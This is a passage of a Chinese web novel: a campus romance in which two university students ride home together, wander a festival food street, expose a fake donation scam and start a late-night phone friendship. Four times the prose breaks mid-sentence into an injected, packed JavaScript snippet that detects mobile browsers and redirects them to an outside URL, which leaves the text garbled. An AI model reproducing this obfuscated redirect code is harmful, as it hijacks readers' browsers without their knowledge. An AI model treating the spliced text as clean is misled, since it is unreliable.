他是北方人,说话有很明显的口音,长相显老,其实今年才二十五。大家一听,有人脸薄不好意思推辞几句,有人笑嘻嘻开玩笑说哥你真大方。 薛安甯大大方方直接谢:“那谢谢文哥,下次我们大家再一起请回来。” 文志柔听她这话就舒服:“行,我比你们大不了几岁,工作归工作,其它时候咱们就当交朋友呗。” 没人再纠缠这事。 倏尔,不知是谁开口:“咱们八个人两台车,坐不下吧?” 人群静默片刻。 大家张望一圈,发现还真是。 过来的时候,文志柔没和他们一起,是从其他地方打车来的,现在回去,人多一个。 在场又是男生居多,两台车挤不下。 文志柔出声:“那要不冯鑫你和我咱俩等等再打一台车,车快到了,让其他人先回去……” 就在这时—— “薛安甯。”隔着颗树,有声音从旁传来。 被叫到名字的人愣了下。 薛安甯探头,越过重重人影朝左边绿化带的树后望去,只见郁燃就站在樟树底下,身影颀长,斑驳的光影漏过繁茂的枝叶缝隙,落在她身上。 郁燃在发光。 她站在那儿定定看向薛安甯,缓缓开口:“你回学校的话,可以和我一起。” 顺路。 薛安甯听懂郁燃的意思,看来郁燃站在旁边听他们说话听好一会儿了。 没等其他人反应过来,薛安甯已经朝郁燃的方向迈出两步,她的动作比脑子快:“那……文哥,我和我朋友走,你们刚好两台车回去。” “哦,行。”文志柔还有点懵。 他倒是认得郁燃这张脸,只是一时半会儿没想明白郁燃怎么会在这,还和薛安甯很熟的样子。 但郁燃没给他留继续反应的时间,专车来的速度很快,薛安甯几乎是刚走到她身边,车就到了。 她走下去,拉开后座车门,回头,静静看向还站在身后没动作的薛安甯。 那眼神,很明显。 正要下车帮忙开门的司机看见郁燃动作这么快,又坐了回去。 薛安甯有点受宠若惊,连忙弯腰上车:“谢谢。” 郁燃等她坐好以后才弯腰落座。 车门关闭,很轻柔的一声。 前座是个女司机,十分礼貌地询问手机尾号,薛安甯听见郁燃报了几个数字,轿车启动了。 余光里,她身形轻晃,紧接着一截皓白的细腕伸到自己的面前。 郁燃:“喝水吗?” 薛安甯垂眸看一眼瓶身里晃荡的清液,似她眼中闪烁的光:“我……不是很渴诶。” 郁燃仿佛将人看穿,轻笑:“免费的,商务专车标配。”不喝白不喝的意思。 薛安甯一听,那拿着吧。 是百岁山。 她接过这瓶水握在手里,温热的掌心一片沁凉。 郁燃将手收回又给自己重新拿一瓶,拧开,喝完后从座椅中间抽出张湿纸巾擦手,正在拧瓶盖的薛安甯悄悄瞥过目光,发现车顶的柔光像层绝佳的磨砂滤镜,衬得郁燃原本就修长漂亮的手,有种说不出的美感。 特别是润了层水光以后。 她收回目光,默默喝水。 车子里放了很清新的熏香,空调温度刚好,灯光也柔和,并不刺眼,薛安甯和郁燃座位中间本来有个扶手,郁燃上车坐好的第一件事,就是把那个扶手放下去。 从上车到落座到刚刚,不难看出,郁燃是个很讲究的人。 薛安甯说不好,她觉得哪儿有点奇怪。 刚刚那一切发生得太快了,此刻和郁燃坐在同一台车里,她有种说不上来的别扭感。 好一会儿,她才想明白到底是哪奇怪。 可能还是关系不到位。 就比如,明明没有那么熟的两个人,做了一件超出社交浓度的事情。 倘若是其他人也就罢了,但这个人是郁燃——从火锅店发消息说看见她,到刚刚邀请她上车一起回学校,都是郁燃在主动。 想明白这一点,薛安甯的别扭感稍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029130|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微减少了些。 手心在瓶身上摩挲几个来回,她转头,貌似自然地打开话题:“你不是早就走了吗?怎么还在这边。” 郁燃笑一声:“你怎么知道我什么时候走的?” 薛安甯这会儿已经没不好意思了,她大大方方承认:“我朝你那边看了好几次,最后一次看的时候你已经走了,算算我这边结束的时间,少说也隔了半小时吧?” 郁燃没卖关子:“对面的连锁咖啡店出了新款联名,朋友很喜欢那个联名,我陪他排队买了一杯。” 薛安甯有些惊讶:“晚上喝咖啡吗?”会睡不着的吧。 郁燃解释:“他也是做音乐的,晚上灵感多,夜猫子。” “那你呢,”薛安甯反问,“你没买一杯吗?” “我是阳间人,”郁燃朝她眨眼,一本正经,“阳间人晚上不喝咖啡。” 薛安甯愣住,迟钝两秒,笑了出来。 一个不太好笑,但是又成功让人笑出声的笑话。 薛安甯发现郁燃身上有点被动触发的冷幽默,她很喜欢在人措手不及的时候来这么一下。 又熟悉了一点。 薛安甯心里那点不自在彻底散去,她两颊梨涡浅浅,转过脸去看窗外放慢的风景——现在车已经开到中心城区的大转盘了,路有些堵,速度完全提不起来。 夜幕之下,张灯结彩,火树辉煌,借着祖国妈妈生日的由头,天南海北的游客们从四面八方涌来,好不热闹。 地域和历史的原因,西京从民俗习惯到建筑风格都和薛安甯从小生长的江浙不一样,她还挺新奇的。 “那边就是不夜城民俗街了吧?”鼻尖距离玻璃还有半寸距离,薛安甯说话呼出的热汽在玻璃上糊成小片蒙蒙的白,又迅速散开,她用手挨着车窗朝某个方向虚虚一指。 郁燃顺着她说的方向看了眼:“应该是。” 薛安甯回头看她,眼底是清澈的笑:“我听说这几天不夜城那边每天晚上都会有打铁花的表演,还会放烟花,昨晚睡前我刷到了。”说完,又转回去继续看这夜色繁华,声音轻了些,仿若自语,“改天去看看好了。” 从开学到现在,都没正儿八经出门逛过。 “为什么要改天?” 身后,郁燃突然说话,“师傅,麻烦把车开到鼓楼附近停下,我们不回学校了。” 9. 我也是 薛安甯其实是一个特别有主见的人,她最讨厌的事情之一,就是别人帮她做决定。 真心也好,假意也罢。 她擅长在不触及自身底线之前,向人展露出柔软无害的一面,但这不代表她会容忍他人越过底线。 所以薛轩经常挨她骂。 可郁燃就这么水灵灵地迈过去了,警报没响,薛安甯没有制止这种“擅作主张”。 这块车流量很大,游客密集,司机找在路边临时停车将两人放下,又迅速离开。从车上下来后郁燃才想到自己的行为似有不妥:“忘记问了,你今晚没别的事情吧?” 薛安甯感受着西京中心繁华商区的热闹,听着身后传来的声音,她回头,语气轻快:“现在问会不会有点太晚了?” 郁燃一怔:“是哦。” 两人相视一笑。 薛安甯会这样答,就说明没什么事。 没有固定的目的地,她们随着人流往中心区域走,要去到表演打铁花和各种非遗节目的广场首先得穿过这条人山人海的民俗街,这条街,其实又是一条美食街。 郁燃和薛安甯都是刚刚吃完,所以只是边走边看。 “这块我和黄遐来过一次,当时似乎也是什么节假日,人很多,逛了哪些地方已经记不清。”郁燃在过去一年的足迹里,搜寻着为数不多与这片区域有关的记忆,“想起来了,应该是五一的时候。” 算算时间也不久远,半年前。 薛安甯自如地接上她的话:“印象不深,是不是觉得不好玩?” “是,”郁燃眉梢尾端轻轻挑起,“但只是我的体验吧,我不喜欢太热闹和拥挤的地方,黄遐玩得很开心,这条街上有家肉夹馍她非常喜欢,好像是个很有名的网红店,店里吃完她还打包了一个带走。” 薛安甯“嗯”一声,盯着郁燃细淡的眉毛,好一会儿,才缓缓移开。 就在刚刚,薛安甯发现了对方一个语言习惯。 她不知道郁燃自己有没有发觉,很多时候郁燃说起自己的事情,就会出现这个语言表情,即便只是很细微的挑眉弧度,但郁燃做出来,就叫人觉得清傲随意,仿佛和周围的其它人都不在一个图层。 这当然也是一种散漫与倨傲的体现,距离感就自然而然地衍生出来。 “好像就在前面不远。”郁燃说。她用手机搜了一下小红书,用地图导航一看,往前再走五六十米的样子就是。 薛安甯收回思绪:“我想去吃吃看。” 郁燃侧目朝人望来,薛安甯一下就读懂她的意思,弯起眼眸缓慢眨动:“其实刚刚火锅没吃太饱,人多还都不熟,而且——” “来都来了。” 薛安甯说出那句中国人最经典的台词,自己先笑起来,这里是美食街,要就这么逛一圈什么都不吃,有点白来的感觉。 郁燃又是那种忍俊不禁的表情:“那我也和你一起吃点。” 她不饿,也不饱。 但吃东西嘛,一个人吃差点意思,两个人刚刚好。 这确实是家生意火热的店,两人排了十几分钟排到,店里空位就那么多,薛安甯点好东西以后主动走到空较多的桌位旁,询问是否能够拼桌。 “郁燃,这里,”说好以后,薛安甯回头把人叫过来,接着又说,“隔壁就是卖鲜榨橙汁的,我去买两杯。” 郁燃:“嗯,好。” 她坐下,从口袋里摸出湿纸巾,又开始擦桌面。 答应薛安甯拼桌的是两个女孩子,看上去也是大学生,有些社恐,倒没要主动搭话的意思,只是在郁燃坐下以后往这边多看了两眼。 没一会儿,她们点的肉夹馍和胡辣汤送过来了。 郁燃要了个小碗分出来些,尝一口,表情复杂。 坐一桌那俩女孩子瞥到她表情,偷偷憋笑,然后很小声地提醒:“他们家其实只有肉夹馍好吃……” “你们是吃过吗?”郁燃自然地和她们闲聊起来。 店门口排队的人依然是只多不少,时不时有人进来望一眼,看见满座以后又离开。 不多时,塑料门帘被再次掀起,从外走进来一个瘦瘦高高的男人,他头戴小红帽,手里举着张打印出来的塑封纸,脖子上挂着二维码,从门口开始一桌桌讨要爱心捐款。 很常见的聋哑人捐款。 郁燃朝那方望两眼,起身去了趟厕所。 回来的时候瘦子男已经要到她这桌,拼桌的两个女孩原本就已经吃得差不多,面对“爱心捐款”的请求,她们推拒几次后见瘦子男仍然不懂似的继续纠缠,索性起身离开。 看她们离开,瘦子男又将目光放在了刚回来的郁燃身上。 “呃,呃。”他举着手里的硬卡纸,朝郁燃比划,卡纸上方有个很明显的红色爱心标志,旁边印着爱心捐献四个大字,下方是密密麻麻的小字以及手写的捐款群众姓名与金额。 郁燃没抬头:“不好意思,我不捐款。” 瘦子男贯彻自己的聋哑人设,完全没有要走的样子,嘴里“呃呃啊啊”的声音更频繁了,捐款表快要怼到脸上来。 郁燃挡开他的手,抬头—— 有人比她更快。 瘦子男手心里被人怼了一杯刚买的橙汁,他愣了下,转头,薛安甯不知道什么时候回来的,这会儿就站在桌边。 薛安甯朝他亮出自己的收款码,同样比划手势:“呃,呃。” 一时间,店内的其它客人都朝这边投来了目光。 郁燃看见这幕也愣了好一会儿,以至于到嘴边的话都忘记说。 倏尔,她猜到薛安甯要做什么,唇角勾起轻微的弧度又迅速下压,一本正经地帮忙翻译:“我朋友也是聋哑人,她说,这杯橙汁卖给你,五十元,请你扫她付款码付款。” 薛安甯又“呃呃”两声,朝郁燃竖起大拇指,意思是,翻译得真棒! 接着,付款码怼到瘦子男脸上。 然后是持续不断地进攻,强买强卖。 看热闹的人越来越多,周围的客人们开始窃笑私语。 瘦子男装不下去了,橙汁怼回薛安甯手里,骂骂咧咧:“有病吧?不给就不给呗。”说完,他生气地走出这家店。 身后,传来看客们嘲笑的嘘声。 薛安甯咬住吸管,朝他离去的背影发出一声不大不小的轻嗤:“骗钱还有理了。” 郁燃望着女孩的侧脸,长睫忽闪,似笑非笑。 她又想起回西京的高铁上,薛安甯也是这样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029131|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这还没完,瘦子男刚走出店门口,就被巡管治安的片警拦住了去路:“你好,有人举报你对游客进行骚扰诈骗,麻烦跟我们走一趟……” 薛安甯才刚坐下,听见店外的动静便又伸长脖子看了会儿,开着玩笑:“什么人这么有公德心啊,还把警-察叫来了。” 回答的声音却是从她身边传来:“我。” 嗯——? 薛安甯愣了愣,转过头去看郁燃。只见郁燃唇角微抿,眼底是淡淡的笑:“我打电话举报的。”刚刚起身去厕所的时候,她搜到管这片景区治安的巡警电话。 一般就在附近,特别这种节假日人流量大的地方,巡警都来很快。 薛安甯看起来挺意外。 郁燃端起自己那杯橙汁,朝后靠:“怎么这样看我?” 薛安甯老实说:“有点没想到诶,感觉你看起来是那种多一事不如少一事的人。”她以为,郁燃这样的应该是很有教养的体面人,所以面对刚刚那样的瘦子男,会有点没辙。 会打举报电话,确实没想到。 这一点倒是和她挺像,路见不平,爱管闲事。 “那你现在知道了,”郁燃开着玩笑,清清淡淡的口吻,特意放慢语速,“我是那种特别较真,而且睚眦必报,很记仇的人。” 薛安甯却迎上她的目光,眨眼:“好巧,我也是这种人。” “那是不是说明,我们很适合做朋友?” “是。”郁燃笑了。 很适合做……朋友,还很有缘。 胡辣汤的口味对于薛安甯来说属于不太能接受的范围,试了口,她没再吃,肉夹馍却意犹未尽,但已经吃不下第二个。 郁燃那份肉夹馍吃了一半,橙汁却是快见底。 放在桌上的手机连着响了好几声,解锁一看,她没忍住笑出声。 薛安甯转过来看她一眼。 郁燃注意到身旁落来的目光,思索片刻,手机屏幕朝旁侧了侧,轻声:“黄遐给我发来一张照片,很好笑,你看。” 她在和薛安甯分享。 这其实是个很亲密的行为,也能迅速拉近人与人之间的关系。 薛安甯今晚第二次,感受到了来自郁燃的主动。 她心里痒痒的,说不清是种怎样的情绪,但还是很配合地朝郁燃的屏幕看去:“旁边是她妹妹吗?” “对的,她妹妹跟她差三岁,关系很好,她们长得还挺像的是不是?” “是有点像,尤其是眼睛和鼻子。” “可能血缘关系就是这样吧。” 郁燃随口说着,正要收回手机回消息。薛安甯的声音从旁传来:“嗯,也不一定,我和我弟弟就不像。” 郁燃说起血缘,薛安甯就想到了薛轩,她俩真是没一点相像的地方。 不过也好。 要是和薛轩长得像,那可真是灾难。 不经意延伸出来的话题,薛安甯没当回事。郁燃却是听进去了,她不着痕迹地蹙了蹙眉,仿佛终于想通某些事情:“原来你有弟弟。” “对啊,怎么了?” “没什么。”郁燃低头看眼屏幕上的时间,轻飘带过,“吃好了吗?我看打铁花的表演时间快到了。” 10. 关系 郁燃对薛安甯真的和其他人不一样——一种只有当事人能感受到,又不会叫其他人发觉的微妙。 薛安甯今晚第三次确认。 起因是打铁花的表演结束以后,她们走在头攒动的广场上偶遇到郁燃的同学,两个女孩,很热情问她们要不要一起,待会儿回学校刚好一辆车能坐下。 郁燃委婉拒绝了:“我们想单独逛逛。” 不同于之前那么轻易的“顺路”。 薛安甯站在旁边听她这么答,唇角微抿,藏在口袋里的手指轻轻刮蹭,没有说话,等那两个人走后郁燃转过脸来,看见薛安甯正垂眸盯着地上的影子走神。 “怎么了?”她问。 薛安甯猛然回神,随口接话:“没什么,我们一会儿去哪?” “嗯……随便逛逛?现在时间还早,我看烟花秀得要十点。”郁燃看一眼时间,再次迎上薛安甯的目光,清清淡淡的笑意。 这一整晚都愉快。 那点无厘头的困惑在愉快的相处氛围里被薛安甯忽略,她回到寝室洗漱完之后看时间,刚刚过十一点。 郁燃在薛安甯发消息过去后不久,也回了一条,说自己已经到寝室。 躺在床上挑挑拣拣几张还不错的照片发到朋友圈,薛安甯美美睡去。 她没多想,只是觉得,大概就像郁燃今晚肯定自己的那样,她们投缘,很适合做朋友。 之前,薛安甯看过一些小道消息,知道鱼白早期写歌都是挑的熟悉的朋友和认识的网络歌手唱出来发表,后来,歌火了,鱼白火了,那几个网络歌手也随着歌一起不那么籍籍无名了。 所以,要是以后关系更好,她会不会也有机会唱郁燃写的歌呢? 毕竟郁燃那天亲口说的,她唱歌好听。 梦里,这个愿望被实现。 郁燃给薛安甯写了首专属的,只有她一个人能唱的歌。 寝室这张窄小简单的木板床上,长出小小的美梦。 国庆收假最后一天,薛安甯趁室友们还没回,于是又录了两首歌当存货。 这次不是鱼白参与制作的歌了,是她最近两个月新发掘的一个古风女歌手。 当天晚上,其他三个人带着大包小包返校,薛安甯洗个澡从厕所出来的功夫,桌上堆满了零零散散各式各样的零食和水果。贺思琪坐在自己的吊床上,边晃边吃:“回去那天一见面我妈心疼死我了,说我一个月不见人都瘦了圈,还晒黑不少……我说瘦是好事,说我黑就不必了。” 江姜:“哈哈哈!” 薛安甯右手托着干毛巾缓缓擦拭着湿发,后腰抵在桌缘,一条腿弓起弧度微微点地,就这样靠在那听她们分享这些。 话题不知道怎的绕到她身上,江姜转过头:“薛安甯,你四号那天发的朋友圈,跟谁一起去的啊?” 薛安甯:“嗯?”她没太反应过来这么跳跃的提问。 贺思琪八卦的眼神落到她身上:“该不会是和哪个追你的男生吧?” 从开学到现在,薛安甯行情一直不差,她们寝室三个人都有过被男生侧面打听的经历。 那晚薛安甯发的朋友圈,确实有人问是和谁一起去的,她答的是朋友。 模棱两可的答案。 朋友的范围,可以很大,可以很暧昧。 但苍天可鉴,薛安甯从没往那方面想过。她忍俊不禁:“没有,是郁燃。” “什么?” “我去……” “真的假的,郁燃?你和她这么熟吗?” 三个人的反应迥异,但有一点共同,就是都很震惊。 那种奇怪的感觉,又来了——从别人嘴里,听见她和郁燃。 薛安甯的心口像是被只猫爪轻轻挠了下,一点点痒。她蜷了蜷指尖,面上是很随意的笑:“也不算很熟吧,那天系班干部群里辅导员问还有哪些人在校,出去一起聚聚,我们吃完饭凑巧碰到的,然后就一起去民俗街那边逛了逛。” 那天晚上她们一起看过烟花秀,然后打车回学校,临走的时候郁燃和她说今晚很开心,下次有机会再一起玩。 就是不知道下次是哪次,改天,是哪天。 贺思琪听她是跟郁燃一起出去,没了继续追问的心思,但却说起另件事:“不过别说,说起郁燃我想起件事,那天晚上咱们不是不小心听见学姐和郁燃讲话吗?我当时还觉得,这人怎么背后说人呢,结果!咱们系大二的那个秦舟还真爆雷了,他劈腿,劈的还是隔壁西音大二的一个女生。” “真的假的!”江姜手里瓜都要掉了。 她真在吃哈密瓜。 贺思琪:“包真的,我认识一个姐姐跟我是老乡,她就是西音的,这事她也知道。” 毛肖晴:“什么什么,你们在说什么,我怎么不知道?” 贺思琪:“哎呀,你那天提前回寝室了没跟我们走……” 薛安甯听她们说了会儿,没插话,湿发擦得差不多,从柜子里取出吹风头发吹干。 风停的时候已经过去七八分钟了,几个人话题还在那个秦舟身上。 薛安甯理好线将吹风收进柜子里,关门的时候,贺思琪的声音从她身后飘来:“诶!薛安甯,你和郁燃那么熟,要不你帮我们问问她是不是还知道点什么呢?” “啊——?”薛安甯侧身,回头,微微蹙眉,“不好吧,显得挺八卦的,而且我和她其实没那么熟。” “哎呀,有什么不好,八卦是人之常情。”贺思琪拉着她,转念一想,又觉得也对,“不过你说得也是,要是别人可能没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029132|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系,郁燃就……算了算了。” 薛安甯没接话。 她和郁燃,熟吗? 不好说,从那天晚上的相处氛围来看,算熟吧。 但其实四号以后两人就没聊过天了,她不主动找郁燃,郁燃也没找她。 普通朋友出去玩过以后,线上也会偶尔聊两句吧? 薛安甯也想知道,郁燃到底是怎么定义她们之间的关系——是看着顺眼还算喜欢的学妹呢,还是朋友,亦或者是……好朋友。 其实要想知道也很简单。 如果她找郁燃闲聊,郁燃愿意的话。 想到这—— “要不,我试着问问看?”薛安甯悠悠开口。 寝室安静一瞬,很快,拖拽凳子和下楼梯的动静同时响起,毛肖晴都从床上下来了。 “问问,你问问!”贺思琪小声说。 薛安甯拿起手机,在其他三个室友的注视下找到郁燃的耳机猫头像,慢条斯理地点开,思考了会儿措辞,然后发送——先是个探头的表情包,然后切入正题。 :你有时间吗,我可不可以问你点事情? 一口瓜只吃了一半,剩下这半口几个人托着脑袋等得焦急。 没过两分钟,消息来了。 耳机猫回复:可以啊,什么事? 薛安甯没立刻打字,而是抬头看贺思琪她们。 贺思琪连忙说:“聊秦舟,你就说上次听到她和黄遐学姐说秦舟,然后问她是不是早就知道这事,认不认识秦舟劈腿的那个女生。” 薛安甯按照贺思琪说的,组织了一下语言发出去。 郁燃确实知道很多。 薛安甯想知道,她也不吝啬告诉。 贺思琪她们一看信息量这么多,兴奋得不得了,接下来十几分钟里,薛安甯把她们想知道的事全都问了一遍,包括但不限于秦舟和那个女生什么时候认识的,怎么认识的,秦舟去西音的频率,秦舟在西音很受欢迎吗?秦舟这,秦舟那。 郁燃回答这些的时候一点儿都没有不耐烦,这让薛安甯踏实很多,所以这么看来的话,她要是平时如果找郁燃聊一些日常或者八卦的事情,对方应该也不会抵触。 现在可以确定,她们确实是朋友了。 该问的东西问完,八卦结束,大家散开,贺思琪捧着手机和另外的朋友分享这个大瓜,江姜拿上衣服进厕所洗澡,毛肖晴开始收拾行李箱。 薛安甯捏着手机仍然靠在楼梯旁,指腹贴着手机边缘轻轻摩挲,在想要不要把话题拉开,和郁燃再聊点其他的。 几分钟过去。 她手里漆黑的屏幕忽然亮起,一条新消息进来。 薛安甯点开,查看。 -耳机猫:你是不是,喜欢秦舟? 11. 是你先 “你这个学妹,是西外的新生?” “她怎么这么关心秦舟的事啊,该不会喜欢秦舟吧?” 陆司听一边做录音剪辑,一边提醒,手上活儿没停。 时间尚早,郁燃这会儿没在寝室,她和陆司听还有另外两个人在西音附近租了个小型录音棚做新歌,监听耳机里此刻一片沉寂。 听见陆司听打趣,郁燃拧眉:“怎么可能?” “那她问这么详细?”舌头在嘴里打了声响,陆司听抬头看她一眼,“我觉得你还是问下吧,这男的在西外迷妹还挺多,道貌岸然的。” 郁燃想也没想,淡着张脸:“没事,我这个学妹不会。” 陆司听也是西音的,比郁燃大一届,算学姐,但两人来往都是以名字互相称呼,秦舟的事就是她告诉郁燃的。 因为被劈腿的那个女主角,是陆司听的好朋友。 第一手瓜源。 秦舟那厮最开始和她朋友来往的时候,还特意强调了自己是单身。 结果? 郁燃看上去没把陆司听的话当回事,手机收回去,跟其他两人又将乐器的和声部分调整了一下,几分钟后,陆司听看见她走到一旁重新摸出手机给人发消息。 薛安甯也被这冒昧的问题问懵了,她手比脑子快,直接扣过去一个问号。 郁燃也回个问号,紧接着,又发过去一条。 -耳机猫:是不是啊? 当然不是! 薛安甯打字屏幕键盘都要起火,她问郁燃,我眼光有那么差吗?这样的烂人我要是都喜欢,那岂不是和在垃圾桶里找男朋友没分别?这问题问得也太让人受伤了。 连着好几条消息,说完,薛安甯跟着发了个落泪的表情包过来。 郁燃捧着手机看薛安甯发来的那些,唇角微抿,笑了声。 陆司听跟见了鬼似的转头看她。 郁燃注意到她的视线,回头轻轻挑眉,跟大家打声招呼:“我出去透透气,一会儿回来。” 陆司听:“喂……” 郁燃没理她,拉开录音棚的门往外走,手机送到唇边说话的气息里混着笑音:“不好意思,那我和你说声对不起,是我朋友说你问得太详细了,怕你想不开。” “想不开也不会喜欢他这样的啊,”薛安甯索性也回了语音消息。她顿一下,转开话题,“朋友?你没在学校吗?” 郁燃在楼梯拐角的窗前站定,直接拨了语音电话过去。 薛安甯看见屏幕弹出语音电话霎时间手忙脚乱,她拉开抽屉翻出耳机,匆匆忙忙出了寝室。江姜一脸茫然地看她出门的背影,问贺思琪:“她这样出去啊?” 贺思琪不以为意:“打电话吧,没见她拿了耳机吗。” 薛安甯快步走到走廊尽头的小阳台,这里放着台公共洗衣机,眼下空着没在工作,不会吵。耳机放进耳朵里,她平复了下七上八下乱得莫名的心跳,才缓缓按下接听。 郁燃声音似今夜的月光一样清泠,响在她的耳畔:“在学校附近租了个小型录音棚做新歌。” “哦……”薛安甯低头去看地面,习惯性眨了眨眼。 她听见自己的心跳忽然变缓,一下一下,砰砰,砰砰,却格外地响,好像几个小人开心地围起来在跳篝火舞。 到底在雀跃些什么啊? 薛安甯略茫然地回头看一眼空荡的走廊,也没想明白自己为什么要出来接这个电话。 其实在寝室阳台就行,或者上床打也可以,平时她接家里和同学电话的时候都这样。 但郁燃的语音电话弹出那瞬间,薛安甯第一反应就是不行,就好像和郁燃打电话是什么特别隐私的事情,她需要一个更僻静、更安全的地方,不想被人知道。 晚风有些凉,薛安甯出来得匆忙没穿外套,身上就薄薄一件短袖。 她抬起只手搭上胳膊,轻轻抚过。 耳机里,郁燃的声音恰在此时再次响起:“所以,你喜欢什么样的?” 这次,没听见浮动的笑息了,郁燃慢慢悠悠的语调,听起来只是在单纯八卦。 话题转得突兀又自然。薛安甯回神了,她有点被问到:“啊?其实,没有认真想过。” 高中的时候老师说,上了大学就什么都可以做了,很多同学也说,到大学里,一定要谈一场惊天动地的恋爱,但其实薛安甯对这方面的事情没有任何的幻想与 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029133|194499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 延伸。 比起这些,她更在意自己账号粉丝的增长速度。 郁燃:“没有想过要谈恋爱吗?” “没有。”薛安甯笑一声,认真说,“我每天还挺忙的,没时间考虑这些。” 西外不像普通高校,语言类的专业需要高强度的熟悉,所以即便是已经上了大学,她们还有早自习,比早八更早,而且还会有单词听写和各种各样的周测小考。 比起高中,有过之无不及。 闲暇时间,薛安甯还要更新自己的爱唱账号。 根本忙不过来。 身后传来脚步。 薛安甯回头看一眼,有人提着桶过来洗衣服了。她往旁挪了挪,听见耳机里郁燃在继续说话:“我听黄遐说你在学校里还挺受欢迎的,军训那段时间,论坛里很多问你的帖子。” “是有不少人打听我的联系方式,但我觉得都是图新鲜吧。嘴上说喜欢,被拒绝以后就没下文了。”说到这,薛安甯终于反应过来。耳机线在她指尖绕了半圈,她抬头望天,眨眨眼,“你好奇怪,郁燃。” “嗯?” “怎么突然问这些,我以为你对八卦别人没兴趣。” 那边,郁燃将问题抛了回来,她施施然问:“不是你先八卦的吗?” 你先八卦秦舟,你先问东问西,问别人问得那么详细。 “也是哦。”薛安甯弯起眉眼。 可她问那些并不是出于真想知道,只是借八卦的名头试探一下郁燃对自己什么态度罢了,但这不能说。 “那我们扯平。”她说,将话题转到了别处,“你们租的录音棚离这边远吗,要是方便的话,之后有机会可不可以带我去见识一下?”专业的歌手录歌也是在录音棚,薛安甯还没去过。 她这句“之后”,和四号那晚的“改天”有异曲同工之妙。 郁燃没迟疑:“挺方便的,”她在电话里报了个建筑地标,询问,“现在要来吗,就在附近。” 电话那头,薛安甯的沉默不知是在思量考虑还是迟疑。 郁燃像是料到。 她继续说,细微上扬的语调,轻轻缓缓:“你要是来的话,我下楼接你。” 12.重要讲话 去不去呢? “这个点了你真要出门啊,”贺思琪撇开手机转过来,看向已经在弯腰换鞋的薛安甯,问她,“你人不在,那晚些十点多查寝的时候怎么弄啊?” “从对面寝室拽个人过来藏厕所,就说在洗澡。” “没事,一会儿我给她们发消息。” 薛安甯没当回事,换好鞋,抓起手机就往外走:“走了!” 毛肖晴从床上探个头:“那你十一点钟之前记得回来,阿姨会锁门的!” “知道啦!” 出了宿舍门,薛安甯就开始小跑,郁燃报给她的地标位置确实不远,紧挨着学校西门出去四百米的那栋光明大厦就是,17栋刚好离西门不远。 乌顺的长发飘在身后,永远也追不上向前奔跑的人,风裹着发丝在夜色下一浪一浪,薛安甯跑到郁燃说的地方,并未看见人影。 路灯下单薄的身影略显寂寥。 她有点累,单手撑着膝盖微微躬身,用另只手去摸手机。 这时—— “薛安甯?” 手机握在掌心,薛安甯回头。 郁燃就站在几米外,摇晃的树影下:“怎么跑这么急?” 想,快点见到你? 这个念头不自觉就从脑子里闪出来,薛安甯自己都被吓了一跳。 她抬眸,凝着朝自己缓步过来的郁燃,睫羽颤了颤,直起腰身:“……怕你等太久,晚上温度还挺凉的。” 嗯。 郁燃眉梢扬起细微的弧度,没说什么,朝她走近:“给你发消息你没回,就随便买了杯和我一样的,我挺喜欢这个口味,你试试。” 薛安甯这才看见她手上拎着几杯打包好的果茶,其中一杯递至她面前。 四季澄,是西京本地连锁的一家奶茶店,果茶很出名。 薛安甯看了眼,自己手上这杯和郁燃端着的那杯一样,秋芒酸奶昔。 她潦草整理了一下自己有点乱的心情:“谢谢。” “走吧,上去。”郁燃招呼她。 两人肩并着肩往大厦入口去,中间隔着一拳宽的距离。 这栋商业大厦由于临近两所高校,所以营业的商家类型挺复杂,有民谣酒馆和台球会所这样的娱乐场所,也有各种小型工作室,上回水群的时候薛安甯还看见有人提议说来这边玩桌游。 原来还有录音棚。 郁燃随手按亮面板“13”的数字,出电梯的时候,薛安甯突然出声:“很好喝。” 郁燃愣了下,倏尔反应过来薛安甯是在回应自己方才在楼下的话。 -我挺喜欢这个口味的,你试试。 -很好喝。 莫名的,让人觉得有一点乖。 